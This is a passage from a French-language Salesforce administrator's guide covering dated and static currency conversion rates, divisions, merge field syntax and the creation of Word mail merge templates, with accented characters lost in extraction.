Afficher la configuration

Pour modifier les devises :

Personnaliser l'application

Vous pouvez grer les taux de change de vos devises active et inactive, ainsi que le taux de change de la devise de l'entreprise
en modifiant les taux de conversion. Il s'agit de taux de change statiques qui s'appliquent tous les champs de devise utiliss
dans votre entreprise. Outre ces taux de conversion, votre entreprise peut aussi utiliser des taux de change dats pour les
opportunits et leurs produits. Pour plus d'informations sur les taux de change dats, reportez-vous propos de la gestion
avance des devises la page 60.
Pour modifier les taux de conversion statiques de votre entreprise :
1. Cliquez sur Configuration Profil de la socit Gestion des devises.

Gestion de l'administration

2.
3.
4.
5.

Guide de l'utilisateur | propos de la gestion avance des devises | 59

Si la gestion avance des devises est active, cliquez sur Gestion des devises.
Cliquez sur Modifier les taux dans les listes Devises actives ou Devises inactives.
Entrez le taux de conversion entre chaque devise et votre devise d'entreprise.
Cliquez sur Enregistrer.

Lorsque vous modifiez les taux de conversion, les montants exprims en devise sont mis jour en fonction des nouveaux taux.
Les taux de conversion prcdents ne sont pas conservs. Toutes les conversions des opportunits, prvisions et autres montants
utilisent le taux de conversion en vigueur.
Si votre entreprise utilise la gestion avance des devises, vous pouvez aussi grer les taux de change dats pour les champs de
devise des opportunits et de leurs produits. Pour grer les taux de change dats, reportez-vous Modification des taux de
change dats la page 61.
Remarques concernant la modification des taux de conversion

Vous ne pouvez pas suivre l'augmentation ou la diminution du chiffre d'affaires dcoulant des fluctuations du cours des
devises.
La modification des taux de conversion entrane le recalcul en masse des champs rcapitulatifs de cumul. Cette opration
peut durer jusqu' 30 minutes, selon le nombre d'enregistrements concerns et d'autres facteurs.

Voir aussi :
Gestion de plusieurs devises
Dfinition d'une devise d'entreprise
Activation et dsactivation de devises

propos de la gestion avance des devises

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer la gestion avance des devises :

Autorisation de personnalisation de l'application

Pour afficher les devises :

Afficher la configuration

Pour modifier les devises :

Autorisation de personnalisation de l'application

La gestion avance des devises vous permet de grer des taux de change dats dans les opportunits l'aide de Salesforce.com.
Les taux de change dats vous permettent de mapper un taux de conversion une priode spcifique. Par exemple, le taux de
change au 1er janvier tait de 1 USD pour 1,39 AUD, mais le 1er fvrier, il est pass 1 USD pour 1,42 AUD. Vos opportunits
cltures entre le 1er janvier et le 1 fvrier utilisent le premier taux de change (1 = 1,39) et celles cltures partir du 1er fvrier
utilisent le second taux (1 = 1,42).
Vous dfinissez les taux de change dats en utilisant une date de dbut et un taux de conversion. Chaque taux est effectif jusqu'
la fin de la priode ou jusqu'au jour prcdant la date de dbut suivante pour cette devise. La priode entre la date de dbut et
la date de dbut suivante est appele priode du taux de change . Ces priodes peuvent tre quivalentes une journe ou
tre indfinies.

Gestion de l'administration

Guide de l'utilisateur | propos de la gestion avance des devises | 60

Pour activer ou dsactiver la gestion avance des devises, reportez-vous Activation ou dsactivation de la gestion avance des
devises la page 61.
Lorsque la gestion avance des devises est active en premier, vos taux de change deviennent automatiquement le premier
ensemble de taux de change dats. Ces taux sont toujours valides, sauf si vous dfinissez un autre ensemble de taux de change.
Pour plus d'informations, reportez-vous Modification des taux de change dats la page 61.
Si vous dsactivez la gestion avance des devises, toutes les conversions de devise utiliseront le taux de conversion statique.
Reportez-vous Modification des taux de conversion la page 59.
Observations relatives la gestion avance des devises

Les taux de change dats sont utiliss pour les opportunits, les produits de l'opportunit, les planifications de produit de
l'opportunit, les champs d'opportunit de campagne et les rapports associs ces objets et champs. Les taux de change
dats ne sont pas utiliss dans la prvision, les champs de devise dans d'autres objets ou les champs de devise dans d'autres
types de rapport.
Si vous activez la gestion avance des devises, vous ne pouvez pas crer de champs rcapitulatifs de cumul qui calculent la
devise sur l'objet de l'opportunit. Tous les champs rcapitulatifs de cumul associs aux devises et existant sur l'objet de
l'opportunit seront dsactivs et leurs valeurs ne seront plus calcules. Si votre entreprise active la gestion avance des
devises, vous devez supprimer tous les champs rcapitulatifs de cumul de devise l'aide des opportunits et des comptes,
ou des opportunits et des objets personnaliss.
Les champs d'opportunit de campagne utilisent des taux de change dats lors du calcul du montant dans la devise de
campagne, mais ne sont pas utiliss lors de la conversion de ces montants dans la devise de l'utilisateur.
Les formules inter-objets utilisent toujours le taux de conversion statique pour la conversion des devises.

Voir aussi :
Gestion de plusieurs devises
Dfinition d'une devise d'entreprise
Activation et dsactivation de devises

Activation ou dsactivation de la gestion avance des devises

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer la gestion avance des devises :

Autorisation de personnalisation de l'application

Pour activer la gestion avance des devises :

1. Activez plusieurs devises pour votre entreprise. Pour plus d'informations, reportez-vous Gestion de plusieurs devises la
page 56.
2. Cliquez sur Configuration Profil de la socit Gestion des devises.
3. Cliquez sur Activer.
4. Lorsque vous y tes invit, slectionnez Oui, je souhaite activer la gestion avance des devises, puis
cliquez sur Activer.

Gestion de l'administration

Guide de l'utilisateur | propos de la gestion avance des devises | 61

Lorsque la gestion avance des devises est active en premier, vos taux de change deviennent automatiquement le premier
ensemble de taux de change dats. Ces taux sont toujours valides, sauf si vous dfinissez un autre ensemble de taux de change.
Pour dsactiver la gestion avance des devises :
1. Cliquez sur Configuration Profil de la socit Gestion des devises.
2. Cliquez sur Dsactiver.
3. Lorsque vous y tes invit, slectionnez Oui, je souhaite dsactiver la gestion avance des devises,
puis cliquez sur Dsactiver.
Si vous dsactivez la gestion avance des devises, toutes les conversions de devise utiliseront le taux de conversion statique.
Reportez-vous Modification des taux de conversion la page 59.
Si la gestion avance des devises est active, les composants <apex:inputField> et <apex:outputField> de Visualforce
ne peuvent pas afficher les champs des devises.

Voir aussi :
propos de la gestion avance des devises

Modification des taux de change dats

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les devises :

Afficher la configuration

Pour modifier les devises :

Autorisation de personnalisation de l'application

Pour ajouter de nouveaux taux de change dats :

1.
2.
3.
4.
5.

Cliquez sur Configuration Profil de la socit Gestion des devises.

Cliquez sur Gestion des taux de change dats.
Cliquez sur Nouveaux taux de change.
Saisissez la date d'entre en vigueur des taux de change.
Saisissez les taux de change.
Remarque: Le taux de change actuel est utilis par dfaut. Si vous ne souhaitez pas dfinir un nouveau taux de
change pour votre devise, supprimez le taux de change (laissez le champ vide).

6. Cliquez sur Enregistrer afin d'enregistrer les nouveaux taux de change dats.
Pour afficher les taux de change dats existants :
1. Cliquez sur Configuration Profil de la socit Gestion des devises.
2. Cliquez sur Gestion des taux de change dats.

Gestion de l'administration

Guide de l'utilisateur | Prsentation des services | 62

3. Slectionnez la plage de dates afficher en saisissant la date et en cliquant sur OK, ou en choisissant Plage prcdente ou
Plage suivante.
Pour supprimer un taux de change dat d'une devise spcifique :
1.
2.
3.
4.

Cliquez sur Configuration Profil de la socit Gestion des devises.

Cliquez sur Gestion des taux de change dats.
Cliquez sur le nom de la devise modifier.
Cliquez sur Suppr ct de la plage de dates supprimer.
Si la plage de dates voulue n'apparat pas, entrez-la dans les champs Afficher tous les taux avec la date de
dbut entre et cliquez sur OK.

Pour modifier les taux de change dats d'une devise spcifique :

Cliquez sur Configuration Profil de la socit Gestion des devises.
Cliquez sur Gestion des taux de change dats.
Cliquez sur le nom de la devise modifier.
Cliquez sur Modifier en regard de la plage de dates modifier. Si la plage de dates voulue n'apparat pas, entrez-la dans
les champs Afficher tous les taux avec la date de dbut entre et cliquez sur OK.
5. Modifiez le taux de change en le dfinissant sur la nouvelle valeur de la plage de dates, puis cliquez sur Enregistrer.
1.
2.
3.
4.

Voir aussi :
propos de la gestion avance des devises
Gestion de plusieurs devises
Dfinition d'une devise d'entreprise
Activation et dsactivation de devises
Modification des taux de conversion

Prsentation des services

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer ou modifier des services :

Modifier toutes les donnes

Pour limiter le nombre de vues de liste, de recherches et de

rapports par service :

Affect par services

Les services vous permettent de segmenter les donnes de votre organisation en sections logiques, ce qui rend les recherches,
les rapports et les vues de liste plus significatifs pour les utilisateurs. Par exemple, vous pouvez crer un rapport afin d'afficher
les opportunits uniquement pour le service de l'Amrique du Nord, ce qui vous permet d'obtenir des chiffres de vente prcis
pour l'quipe de vente de cette rgion. Les services sont utiles aux organisations possdant d'importants volumes de donnes.

Gestion de l'administration

Guide de l'utilisateur | Prsentation des services | 63

Remarque: Contactez salesforce.com pour activer la prise en charge des services pour votre entreprise. Les services
ne restreignent pas l'accs aux donnes des utilisateurs et ne sont pas destins tre utiliss pour la scurit.

Voir aussi :
Prsentation des services
Cration et modification de services
Transfert de services
Modification de votre service
Modification du service par dfaut

Prsentation des services

Disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer ou modifier des services :

Modifier toutes les donnes

Pour limiter le nombre de vues de liste, de recherches et de

rapports par service :

Affect par services

Les services comportent trois aspects de base :

Service dans des enregistrements individuels : dans les enregistrements individuels, le service est un champ qui indique
que l'enregistrement appartient un service particulier. Un enregistrement peut appartenir un service cr par
l'administrateur ou au service global standard cr automatiquement lorsque votre organisation active la prise en charge
des services.
Service par dfaut pour un utilisateur : les utilisateurs sont attribus un service par dfaut qui s'applique aux nouveaux
comptes, aux nouvelles pistes et aux nouveaux objets personnaliss activs pour les services.
Service de travail : si vous disposez de l'autorisation Affect par services, spcifiez le service dans lequel vous souhaitez
travailler en utilisant la liste droulante Services du menu latral. Les recherches affichent alors uniquement les donnes
correspondant votre service. Vous pouvez tout moment changer de service. Si vous ne bnficiez pas de l'autorisation
Affect par services, aucun service ne vous est affect ; vous voyez donc les enregistrements de tous les services.

Le tableau suivant indique en quoi l'utilisation des services affecte diffrentes zones :
Zone

Description

Recherche

Si vous disposez de l'autorisation Affect par services :

Dans la barre latrale, vous pouvez slectionner une
recherche dans un service ou dans tous les services.
Dans la recherche avance, vous pouvez effectuer une
recherche avance dans un service ou dans tous les services.

Gestion de l'administration

Zone

Guide de l'utilisateur | Prsentation des services | 64

Description

Pour les recherches dans les botes de dialogue de

recherche, les rsultats incluent les enregistrements figurant
dans le service slectionn dans la liste droulante de ces
botes.
Remarque: Toutes les recherches dans un service
incluent galement le service global. Par exemple, si
vous recherchez dans le Service Ouest, vos rsultats
comprennent les enregistrements trouvs dans le
service Ouest et dans le service global.

Si vous ne bnficiez pas de l'autorisation Affect par services,

vos rsultats de recherche incluent toujours les enregistrements
de tous les services.
Vues Listes

Si vous disposez de l'autorisation Affect par services, les vues

de liste n'incluent que les enregistrements figurant dans le
service que vous spcifiez lors de la cration ou de la
modification de ces vues. Les vues de liste dont les recherches
ne portent pas sur tous les enregistrements (comme Mes
lments en cours) incluent des enregistrements de tous les
services.
Si vous ne bnficiez pas de l'autorisation Affect par services,
vos vues de liste incluent toujours les enregistrements de tous
les services.

Rapports

Si vous disposez de l'autorisation Affect par services, vous

pouvez configurer les options de rapport de sorte inclure les
enregistrements d'un seul ou de tous les services. Les rapports
qui sont dj vrifis (par exemple, les comptes Mes requtes
ou Mon quipe) incluent des enregistrements de tous les
services et vous ne pouvez pas les limiter un service spcifique.
Si vous ne bnficiez pas de l'autorisation Affect par services,
vos rapports incluent toujours les enregistrements de tous les
services.

Affichage des enregistrements et des listes associes

Lors de l'affichage de la page de dtails d'un enregistrement,

les listes associes affichent tous les enregistrements associs
auxquels vous avez accs, quel que soit le service.

Cration d'enregistrements

Lorsque vous crez des comptes, des pistes ou des objets

personnaliss activs pour les services, le service est
automatiquement dfini comme tant votre service par dfaut,
sauf si vous modifiez ce paramtre.
Lorsque vous crez des enregistrements associs un compte
ou un autre enregistrement qui possde dj un service, le
nouvel enregistrement est affect au service de l'enregistrement

Gestion de l'administration

Zone

Guide de l'utilisateur | Prsentation des services | 65

Description
existant. Par exemple, si vous crez l'enregistrement d'un objet
personnalis du ct dtails d'une relation principal-dtails
avec un objet personnalis pour lequel les services ont t
activs, le service de l'enregistrement principal lui est attribu.
Lorsque vous crez des enregistrements qui ne sont pas associs
d'autres enregistrements (par exemple, des opportunits
prives ou des contacts non associs un compte), le service
est automatiquement dfini comme tant le service global.

Modification d'enregistrements

Lorsque vous modifiez des comptes, des pistes ou des objets

personnaliss activs pour les services, vous pouvez changer le
service. Tous les enregistrements associs par l'intermdiaire
d'une relation principal-dtails sont eux aussi automatiquement
transfrs vers le nouveau service. Par exemple, les contacts et
les opportunits sont transfrs vers le nouveau service du
compte associ, et les objets dtails personnaliss, vers celui
de l'enregistrement principal.
Lorsque vous modifiez d'autres types d'enregistrement, vous
ne pouvez pas changer les paramtres de service.

Objets personnaliss

Lorsque vous activez des services pour un objet personnalis,

Salesforce.com commence par attribuer chaque enregistrement
relatif cet objet au service global.
Lorsque vous crez un enregistrement d'objet personnalis :

Relations

Si l'objet personnalis est activ pour les services,

l'enregistrement adopte le service par dfaut.
Si l'objet personnalis se trouve du ct dtails d'une
relation principal-dtails avec un objet personnalis pour
lequel les services ont t activs, l'enregistrement adopte
le service de l'enregistrement principal.

Si vous convertissez une relation de recherche en relation

principal-dtails, les enregistrements de dtails perdent leur
service actuel et hritent de celui de l'enregistrement principal.
Si vous convertissez une relation principal-dtails en relation
de recherche, le service des enregistrements de dtails est
dtermin par l'enregistrement principal prcdent.

Gestion de l'administration

Zone

Guide de l'utilisateur | Prsentation des services | 66

Description
Si vous supprimez une relation principal-dtails, le service des
enregistrements de dtails est dtermin par l'enregistrement
principal prcdent.

Voir aussi :
Prsentation des services

Cration et modification de services

Disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer ou modifier des services :

Modifier toutes les donnes

Pour limiter le nombre de vues de liste, de recherches et de

rapports par service :

Affect par services

Pour crer et modifier des services :

1.
2.
3.
4.

Cliquez sur Configuration Profil de la socit Grer les services.

Cliquez surNouveau pour crer un service ou sur Modifier pour changer un service existant.
Saisissez le nom du service.
Cochez la case d'activation de la division, ce qui signifie que des enregistrements et utilisateurs peuvent tre attribus
cette division.
Vous ne pouvez pas dsactiver de division si des files d'attente de pistes ou des utilisateurs y sont attribus.

5. Cliquez sur Enregistrer.

Remarque: Vous pouvez crer un maximum de 100 services (inactifs inclus).

Pour changer l'ordre d'apparition des services dans le champ de liste de slection Service, cliquez sur le bouton Tri et utilisez
les flches pour trier les services.

Voir aussi :
Prsentation des services
Prsentation des services

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles | 67

Gestion des modles

Disponible avec : Toutes les ditions

Votre administrateur peut crer et grer des modles utiliser pour la dfinition d'en-ttes, l'envoi de messages sortants et la
cration de documents de publipostage.

Les en-ttes dfinissent la prsentation de vos modles de message HTML. Ces modles peuvent hriter des paramtres
de logo, de couleur et de texte d'un en-tte.
Les modles de message prdfinis permettent aux utilisateurs d'envoyer des messages aux contacts, aux pistes, etc.
Les modles de publipostage permettent aux utilisateurs de crer des documents personnaliss l'aide des informations
provenant des enregistrements. Par exemple, vous pouvez crer une lettre de remerciements personnalise pour une piste
prcise.

Voir aussi :
Cration d'en-ttes
Gestion des modles de message
Gestion des modles de publipostage
Prsentation des champs de fusion

Prsentation des champs de fusion

Les champs de fusion disponibles varient en fonction de l'dition de Salesforce.com que vous possdez.

Vous pouvez utiliser les champs de fusion avec des champs de formule personnaliss, des commandes s-control, des liens
personnaliss, des boutons personnaliss, des pages Visualforce et lorsque vous crez des e-mails ou des modles de publipostage.
Ces champs de fusion seront remplacs par les donnes provenant de vos enregistrements, de vos informations utilisateur ou
de vos informations sur la socit.
Consignes d'utilisation des champs de fusion

Consignes gnrales pour la syntaxe des champs de fusion :

La syntaxe d'un champ de fusion peut varier en fonction de l'endroit o vous l'utilisez dans Salesforce.com. Pour vrifier
si vous utilisez la syntaxe adquate, slectionnez les champs de fusion dans la liste droulante de l'diteur dans lequel vous
utilisez le champ de fusion. Voici quelques exemples de diffrences au niveau de la syntaxe :
-

Lorsque vous introduisez le champ de fusion Numro du compte dans un modle d'e-mail, la syntaxe ncessite une
accolade ouvrante et un point d'exclamation suivis du type d'enregistrement, d'un point, du nom du champ et d'une
accolade fermante : {!Account.AccountNumber}.
Pour les champs de formule et les modles de publipostage, le champ de fusion n'est pas inclus dans des accolades ni
prcd d'un point d'exclamation. Il n'est pas non plus prcd du type d'enregistrement. Par exemple : AccountNumber.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles | 68

Pour les objets personnaliss, l'intitul de champ est prcd du type d'enregistrement et tous les espaces sont convertis
en caractres de soulignement. Par exemple : {!Stockforce_CreatedDate} fait rfrence au champ standard Date
de cration de l'objet personnalis Stockforce.
Pour les formules permettant de rfrencer les champs par rapport aux objets associs dans plusieurs relations, le nom
du champ est prcd du nom de la relation. Pour les relations standard, le nom de la relation est l'objet principal. Par
exemple, vous pouvez rfrencer le champ de fusion du nom du compte partir d'une rgle de validation de contact
utilisant Nom.de.Compte ; vous pouvez rfrencer le numro de tlphone du crateur du compte partir d'un champ
de formule de produit d'opportunit Opportunit.Compte.CrPar.Tlphone. Pour les relations personnalises,
le nom des relations est le nom de champ donn lors de la cration de la relation, suivi de __r . Par exemple,
rfrencez le champ de fusion des e-mails des contacts partir d'une rgle de validation de l'objet personnalis en
utilisant le nom de champ de fusion Contact__r.Email.
Si un champ personnalis et un champ standard portent le mme nom et que vous rfrencez ce nom dans un champ
de fusion, ce dernier affiche la valeur du champ personnalis.

Consignes d'utilisation des champs de fusion dans les modles d'e-mails et de publipostage :
-

Dans les modles de message, vous pouvez ajouter un texte de substitution chaque champ de fusion. Ce texte ne
s'affiche dans un e-mail envoy que si l'enregistrement fusionn ne contient pas de donnes pour ce champ. Pour ajouter
du texte de substitution, insrez une virgule aprs le nom de champ, puis entrez le texte avant l'accolade fermante. Par
exemple, Chre/Cher {!Contact.FirstName, Monsieur ou Madame}. Lorsque vous enregistrez le modle,
le champ de fusion apparat dans le modle d'e-mail avec la syntaxe suivante : Chre/Cher
{!NullValue(Contact.FirstName, "Monsieur ou Madame")}.
Pour les modles de publipostage, les seuls caractres autoriss dans les champs de fusion sont les lettres, les chiffres et
le caractre de soulignement (_). Vous n'tes pas autoris entrer Opportunity_Product_#, par exemple. Les noms
des champs de fusion ne doivent pas dpasser 40 caractres.
Les modles disposant de champs de fusion de contact servent gnrer des e-mails et des documents de publipostage
pour les pistes. Vous pouvez galement utiliser des modles de piste pour gnrer des documents et des e-mails de
contact.
Remarque: Vous pouvez utiliser des champs standard uniquement lors de la gnration d'e-mails et de documents
de publipostage pour les pistes ou les contacts.

Pour le publipostage d'opportunits, utilisez les champs de fusion de contact pour fusionner les informations
supplmentaires sur un contact associ.
Si vous avez activer la fonction E-mail vers requte ou E-mail vers requte la demande, vous pouvez crer des modles
d'e-mails utiliss par les reprsentants du support pour rpondre des requtes. Ces modles peuvent inclure des champs
de fusion affichant les donnes de l'e-mail d'origine dans la rponse. Pour plus d'informations, reportez-vous
Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande la page 604 et Gestion des
modles de-mail la page 76.
Les champs de fusion des produits au niveau des opportunits sont uniquement disponibles dans les organisations ayant
activ les produits et ne sont utilisables que dans les modles de publipostage, en aucun cas pour des modles de message.
Les champs de fusion des processus d'approbation peuvent tre utiliss dans les modles de message mais pas dans les
modles de publipostage.
Si le modle d'email que vous choisissez contient des champs de fusion d'approbations nomms
{!ApprovalRequest.field_name}, ces champs renvoient des valeurs uniquement lorsque ce modle d'e-mail est
utilis en tant que modle d'attribution des approbations. Si vous utilisez le modle pour toute autre action d'alerte
d'email, que ce soit dans les rgles de workflow ou dans les processus d'approbation, les champs de fusion renverront
une valeur nulle.
Dans un processus d'approbation tapes multiples :

Les champs de fusion dans l'e-mail de demande d'approbation sont dfinis sur le nom de l'utilisateur qui soumet
la demande et sur le nom de la premire tape.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles | 69

Une fois la demande approuve, les champs de fusion mettent jour le nom de l'approbateur le plus rcent et le
nom de la deuxime tape.
Pour les actions suivantes, les valeurs des champs de fusion sont mises jour en fonction de l'tape qui prcde.

Les champs de fusion {!Receiving_User.field_name} et {!Sending_User.field_name} fonctionnent

uniquement dans les modles d'e-mail utiliss pour les e-mails en masse.
Les champs de fusion de campagne et de membre de campagne peuvent tre utiliss dans les modles d'e-mail mais
pas dans les modles de publipostage.
Les champs de fusion de membre de campagne ne peuvent pas tre utiliss avec d'autres types de champs de fusion
dans le mme modle d'e-mail. Par exemple, si vous crez un modle d'e-mail l'aide d'un champ de fusion d'un
membre de campagne et que vous souhaitez inclure le titre du bnficiaire, utilisez {!CampaignMember.Title} au
lieu de {!Lead.Title} ou {!Contact.Title}.
Les champs utilisateur sont galement qualifis de champs relatifs l'expditeur du message pour les administrateurs
et les utilisateurs autoriss grer les utilisateurs. Utilisez-les dans les modles de message lorsque vous faites rfrence
la personne qui envoie le message.
Les administrateurs et les utilisateurs autoriss grer les utilisateurs peuvent utiliser les champs de fusion des destinataires
pour les modles de message afin de faire rfrence au destinataire du message.
Lorsque les champs de fusion de compte sont inclus dans un modle d'e-mail et si ce modle est slectionn aprs l'ajout
d'un contact au champ , les champs de fusion de compte prsentent le compte du contact et non le compte de la
requte.
Pour faire rfrence au nom, l'e-mail, au tlphone ou la socit du client qui a soumis une requte en ligne, utilisez
le champ appropri {!Case_OnlineCustomer...}. Pour faire rfrence au contact ou au compte associ une
requte, utilisez les champs de fusion de contact ou de compte appropris.

Consignes supplmentaires concernant les champs de fusion :

-

Un sous-groupe de ces champs utilisateur est disponible pour personnaliser les pages du libre service.
Pour les noms locaux de compte, de contact et de piste, le nom standard du champ de fusion est utilis chaque fois que
le nom local est vide.
Si vous utilisez le systme de traduction pour traduire les noms de champ personnalis, les champs de fusion sont
accessibles aux utilisateurs dans la langue souhaite.
Si votre entreprise utilise des comptes personnels, les champs de compte professionnel et de compte personnel sont
disponibles comme champs de fusion Compte. Les champs de compte propres aux comptes personnels, tels que Date
d'anniversaire, Adresse e-mail et Titre, comportent Account.Person dans leurs noms de champ de fusion.
Par exemple, {!Account.PersonBirthdate}. En outre, vous pouvez utiliser le champ de fusion
{!Account.IsPersonAccount} pour dterminer si vous utilisez un compte personnel ou un compte professionnel.
Pour plus d'informations, reportez-vous Qu'est-ce qu'un compte personnel ? la page 1048
Les formules inter-objets gnres s'tendent des objets associs et rfrencent des champs de fusion dans ces objets.
Les pages Visualforce peuvent aussi utiliser des champs de fusion. Tout ce qui se trouve l'intrieur de {! } est
considr comme une expression qui peut accder des valeurs partir d'enregistrements faisant actuellement partie
du contexte. Par exemple, vous pouvez afficher le prnom de l'utilisateur actuel en ajoutant le champ de fusion
{!$User.FirstName} une page :
<apex:page> Hello {!$User.FirstName}! s</apex:page>

Voir aussi :
Configuration des boutons et liens personnaliss
Gestion des modles de publipostage
Rle des variables globales

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Guide de l'utilisateur | Gestion des modles de publipostage | 70

Gestion des modles de publipostage

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour tlcharger des modles de publipostage :

Grer les modles publics

Pour modifier des modles de publipostage :

Grer les modles publics

Les modles de publipostage dfinissent le contenu d'une lettre type ou d'un autre document de publipostage. Ils comprennent
des variables appeles champs de fusion o les donnes provenant de vos enregistrements (par exemple, le nom et l'adresse
d'un contact) apparaissent dans le document gnr.
En tant qu'administrateur, vous tes responsable de la cration des modles de publipostage dans Microsoft Word et de leur
tlchargement vers Salesforce.com afin de les rendre disponibles aux utilisateurs. Reportez-vous aux rubriques suivantes :

Cration de modles de publipostage la page 70 dcrit la procdure de cration d'un modle de publipostage partir
d'un document Word vierge.
Modification de modles de publipostage existants la page 72 explique la faon de tlcharger des exemples de modle
et de les modifier afin qu'ils correspondent vos besoins commerciaux.
Tlchargement de modles de publipostage vers Salesforce.com la page 73 explique le tlchargement des modles de
publipostage termins vers Salesforce.com.
Conseil: Cliquez sur le lien suivant pour tlcharger un fichier Zip d'exemples de modle de publipostage :
mm_templates.zip

Voir aussi :
Envoi de documents de publipostage uniques

Cration de modles de publipostage

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour tlcharger des modles de publipostage :

Grer les modles publics

Pour modifier des modles de publipostage :

Grer les modles publics

1. Ouvrez un nouveau document vierge dans Microsoft Word 2002, 2003 ou 2007.

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Guide de l'utilisateur | Gestion des modles de publipostage | 71

2. Utilisez Word pour crer le document de faon ce qu'il contienne le texte, les donnes et le formatage dont vos utilisateurs
ont besoin.
3. Localisez dans votre document Word le texte ou les variables de donnes qui changeront chaque utilisation du modle.
Par exemple, dans la formule Chre Ba , Ba est une variable dont la valeur change lorsque la lettre est envoye
quelqu'un d'autre.
4. Remplacez chaque variable par le champ de fusion Salesforce.com appropri :

Si vous avez Connect pour Office, vous pouvez utiliser l'intgration de Word pour insrer rapidement des champs de
fusion.
Si vous n'avez pas Connect pour Office :
a. Positionnez le curseur l'emplacement o vous souhaitez insrer un champ de fusion.
b. Dans Word 2003 ou versions antrieures, slectionnez Insertion, puis Champ dans la barre de menus Word. Dans
Word 2007, slectionnez l'onglet Insertion dans le Ruban, cliquez sur QuickPart dans le groupe Texte, puis cliquez
sur Champ.
c. Slectionnez l'option de publipostage dans la liste droulante des catgories.
d. Slectionnez MergeField dans la zone du nom des champs.
e. Dans la partie des proprits de la zone du nom des champs, saisissez manuellement un champ de fusion
Salesforce.com valide, par exemple Opportunity_LineItem_ProductName.
f. Cliquez sur OK.
Remarque: Pour rpertorier les informations sur tous les produits associs une opportunit, insrez le champ
de fusion Opportunity_LineItem_Start l'endroit o vous voulez voir apparatre ces informations.
Ensuite, insrez tous les champs de fusion inclure pour chaque produit d'une opportunit. Enfin, insrez le
champ Opportunity_LineItem_End pour terminer la liste.

5. Enregistrez votre document Word.

6. Allez Tlchargement des modles de publipostage vers Salesforce.com la page 73
Conseil: Pour obtenir des rsultats optimaux :

Dans Microsoft Word, ne protgez pas vos modles de publipostage et n'en restreignez pas l'accs. Reportez-vous
l'aide de Word pour plus d'informations sur les documents Word protgs. (Dans Word, appuyez sur F1 pour
ouvrir l'aide.)
N'associez pas les modles de publipostage des sources de donnes externes comme des feuilles de calcul Excel
ou des bases de donnes Access. Reportez-vous l'aide de Word pour savoir comment restaurer des documents de
publipostage afin qu'ils redeviennent ce que Word appelle des documents Word standard .
Pour plus d'informations sur la dfinition de votre modle avec ces conseils, reportez-vous .

Voir aussi :
Gestion des modles de publipostage
Prsentation de Force.com Connect pour Microsoft Office.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de publipostage | 72

Modification de modles de publipostage existants

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour tlcharger des modles de publipostage :

Grer les modles publics

Pour modifier des modles de publipostage :

Grer les modles publics

1. Tlchargez les exemples de modle de publipostage et dcompressez les fichiers dans un rpertoire appropri de votre
disque dur.
2. Passez en revue les instructions du document salesforce_mailmerge_templates_howto.doc.
3. Ouvrez l'exemple de modle de votre choix dans Microsoft Word.
4. Enregistrez une copie de l'exemple de modle sur votre bureau ou tout autre endroit pratique :

Si vous utilisez Word 2000, XP et 2003, slectionnez Enregistrer sous dans le menu Fichier, puis choisissez le nom
de fichier et le dossier de destination voulus.
Si vous utilisez Word 2007, slectionnez Enregistrer sous partir du bouton Office, puis choisissez le nom de fichier
et le dossier de destination appropris.

5. Vous pouvez ventuellement personnaliser le texte et le formatage du modle.

6. Appuyez sur Alt+F9 pour afficher les codes de champs de publipostage masqus.
Chaque champ de publipostage doit dsormais se prsenter entre accolades, comme suit : {MERGEFIELD
Contact_FullName \* MERGEFORMAT}

7. Si besoin est, modifiez les champs de fusion.

Si vous avez Connect pour Office, vous pouvez utiliser l'intgration de Word pour insrer rapidement des champs de
fusion.
Si vous n'avez pas Connect pour Office :
a. Positionnez le curseur l'emplacement o vous souhaitez insrer un champ de fusion.
b. Dans Word 2003 ou versions antrieures, slectionnez Insertion, puis Champ dans la barre de menus Word. Dans
Word 2007, slectionnez l'onglet Insertion dans le Ruban, cliquez sur QuickPart dans le groupe Texte, puis cliquez
sur Champ.
c. Slectionnez l'option de publipostage dans la liste droulante des catgories.
d. Slectionnez MergeField dans la zone du nom des champs.
e. Dans la partie des proprits de la zone du nom des champs, saisissez manuellement un champ de fusion
Salesforce.com valide, par exemple Opportunity_LineItem_ProductName.
f. Cliquez sur OK.
Remarque: Pour rpertorier les informations sur tous les produits associs une opportunit, insrez le champ
de fusion Opportunity_LineItem_Start l'endroit o vous voulez voir apparatre ces informations.
Ensuite, insrez tous les champs de fusion inclure pour chaque produit d'une opportunit. Enfin, insrez le
champ Opportunity_LineItem_End pour terminer la liste.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de publipostage | 73

8. Enregistrez votre document Word.

9. Allez Tlchargement des modles de publipostage vers Salesforce.com la page 73
Conseil: Pour obtenir des rsultats optimaux :

Dans Microsoft Word, ne protgez pas vos modles de publipostage et n'en restreignez pas l'accs. Reportez-vous
l'aide de Word pour plus d'informations sur les documents Word protgs. (Dans Word, appuyez sur F1 pour
ouvrir l'aide.)
N'associez pas les modles de publipostage des sources de donnes externes comme des feuilles de calcul Excel
ou des bases de donnes Access. Reportez-vous l'aide de Word pour savoir comment restaurer des documents de
publipostage afin qu'ils redeviennent ce que Word appelle des documents Word standard .
Pour plus d'informations sur la dfinition de votre modle avec ces conseils, reportez-vous .

Voir aussi :
Gestion des modles de publipostage
Prsentation des champs de fusion
Prsentation de Force.com Connect pour Microsoft Office.

Tlchargement des modles de publipostage vers Salesforce.com

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour tlcharger des modles de publipostage :

Grer les modles publics

Pour modifier des modles de publipostage :

Grer les modles publics

Les administrateurs et les utilisateurs dots de l'autorisation Grer les modles publics doivent tlcharger les modles de
